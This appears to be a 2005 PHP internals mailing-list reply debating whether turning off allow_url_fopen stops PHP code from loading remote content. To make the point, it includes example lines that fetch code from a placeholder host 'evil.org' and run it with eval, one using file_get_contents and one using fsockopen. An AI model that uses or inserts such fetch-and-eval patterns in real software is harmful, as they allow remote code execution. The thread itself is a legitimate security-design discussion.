Re: Re: SOAP SSL support doesn't work when allow_url_fopen is turned off
| From: | George Schlossnagle | Date: | Thu, 28 Jul 2005 14:13:28 +0000 |
| Subject: | Re: Re: SOAP SSL support doesn't work when allow_url_fopen is turned off | ||
| References: | 1 2 3 4 5 6 7 8 9 | Groups: | php.internals |
| Request: | Send a blank email to internals+get-17447@lists.php.net to get a copy of this message | ||
On Jul 28, 2005, at 9:49 AM, Ilia Alshanetsky wrote:
But I can (easily enough) disable the socket functions in PHP, not so convenient with file_get_contents.' Georgesure: eval('file_get_contents("http://evil.org");');Ok, but there is nothing (allow_url_fopen does not work here) preventing me from doing similar via: $fp = fsockopen("evil.org", 80); $fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\r\nHost: evil.org\r\n\r\n"); eval(stream_get_contents($fp));